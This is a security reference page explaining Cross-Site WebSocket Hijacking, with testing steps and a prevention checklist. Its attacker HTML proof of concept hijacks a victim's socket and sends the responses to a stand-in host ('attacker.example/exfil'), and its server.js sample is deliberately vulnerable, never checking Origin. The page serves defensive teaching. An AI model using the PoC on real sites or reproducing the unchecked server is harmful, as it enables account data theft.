Skip to content
highCVSS 8.1CWE-1385A07:2021 – Identification and Authentication Failures

Cross-Site WebSocket Hijacking

The handshake is a subresource GET with no CORS — which is why it needs Origin validation, and why SameSite=None is its precondition.

CSRF with a read channel attached

A WebSocket connection begins as an ordinary HTTP GET carrying an Upgrade: websocket header. Two properties of that handshake make it interesting:

  1. It is not subject to CORS. The same-origin policy does not apply to WebSockets. There is no preflight, no Access-Control-Allow-Origin requirement, and no browser-enforced restriction on which origins may connect.
  2. It carries cookies, subject to the same rules as any other subresource request.

So if the server authenticates the connection using only the session cookie, an attacker's page can open a socket that is fully authenticated as the victim — and unlike ordinary CSRF, this is not blind. Once the socket is open it is bidirectional: the attacker sends messages and reads the responses.

That makes CSWSH strictly more powerful than form-based CSRF. The limiting factor in 2026 is the cookie: the handshake is a subresource, so it only carries a SameSite=None; Secure cookie, and even then only in Chromium.

The defence is Origin validation, and it must be written by hand — no framework does it for you, because the browser is not enforcing anything here.

The handshake

HTTP
GET /socket HTTP/1.1
Host: app.example
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Cookie: session=eyJ1c2VyIjoidmljdGltIn0
Origin: https://attacker.example

# The Origin header is set by the browser and cannot be forged by the page.
# It is the ONLY thing distinguishing this from a legitimate connection --
# and nothing enforces it automatically. If the server does not read it,
# the connection is accepted.
#
# Note also: because there is no CORS, the server does not have to opt in to
# anything. Silence is acceptance.

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

The attack

HTMLattacker.example/index.htmlVulnerable
<!doctype html>
<html>
  <body>
    <script>
      // No credentials option to set and no CORS to satisfy -- the browser
      // attaches cookies to the handshake automatically, exactly as it would
      // for any other subresource request.
      const ws = new WebSocket('wss://app.example/socket')

      ws.onopen = () => {
        // Authenticated as the victim. Whatever the protocol allows, we can
        // now do -- read history, send messages, change settings.
        ws.send(JSON.stringify({ type: 'listConversations' }))
        ws.send(JSON.stringify({ type: 'getAccountDetails' }))
      }

      // The part that makes this worse than form CSRF: we can READ. There is
      // no opaque-response restriction on a WebSocket, so everything the
      // server sends back is available to exfiltrate.
      ws.onmessage = (e) => {
        navigator.sendBeacon('https://attacker.example/exfil', e.data)
      }
    </script>
  </body>
</html>

<!-- Precondition, and it is a real one: the handshake is a SUBRESOURCE
     request. It carries the session cookie only if that cookie is
     SameSite=None; Secure -- and then only in Chromium, since Firefox
     partitions third-party cookies and Safari blocks them.

     Check the Set-Cookie before spending time here. If the cookie is Lax,
     Strict, or unset, the socket opens unauthenticated and there is nothing
     to report. -->

Testing

  1. Find the socket. Look for ws:// or wss:// in the JavaScript, or filter by WS in the browser devtools network tab. Burp shows the handshake in the HTTP history and the frames in the WebSockets view.
  2. Establish the cookie posture first. If the session cookie is not SameSite=None, the attack cannot work from a cross-site page and there is no finding. This is the step that saves the most time.
  3. Check how the connection is authenticated. If a token is passed in the URL or in the first message, and the cookie alone is not sufficient, it is not exploitable this way — the attacker cannot supply the token.
  4. Replay the handshake with a modified Origin. In your proxy, change Origin to https://evil.example and let the handshake through. A 101 response means the origin is not validated.
  5. Confirm from a real cross-origin page. The proxy test proves the server does not check; only a real browser test proves the cookie arrives. Host the PoC on a different origin and open it in Chrome.
  6. Map the protocol. The impact is whatever the socket allows. Enumerate the message types the client sends and try each one.

Also check whether the connection re-authorises per message or trusts the handshake for the connection's lifetime — the latter is common and means one successful handshake grants everything.

Prevention

JavaScriptserver.jsVulnerable
const { WebSocketServer } = require('ws')
const wss = new WebSocketServer({ server })

wss.on('connection', (ws, req) => {
  // The session cookie is parsed and trusted. The Origin header is never
  // looked at, and nothing in the WebSocket protocol or the browser will
  // check it on the server's behalf.
  //
  // Any origin on the internet can open this socket as any logged-in user
  // whose cookie is SameSite=None.
  const session = parseSession(req.headers.cookie)
  if (!session) return ws.close(1008, 'Unauthorized')

  ws.userId = session.userId
  ws.on('message', (msg) => handleMessage(ws, JSON.parse(msg)))
})

Checklist

  • Validate Origin on every handshake, exact-matched against an allowlist. Nothing does this for you.
  • Reject a missing Origin on browser-facing sockets. Browsers always send it.
  • Require a CSRF token in the handshake, bound to the session, as a second layer. The attacker cannot read it.
  • Prefer SameSite=Lax on the session cookie, which removes the precondition entirely.
  • Consider a dedicated connection token — short-lived, single-use, fetched over a normal same-origin request — rather than authenticating the socket from the cookie alone. This is the cleanest design and it makes the whole class inapplicable.
  • Authorize each message, not just the connection.
  • Rate-limit and time-bound connections, so a hijacked socket is not indefinite.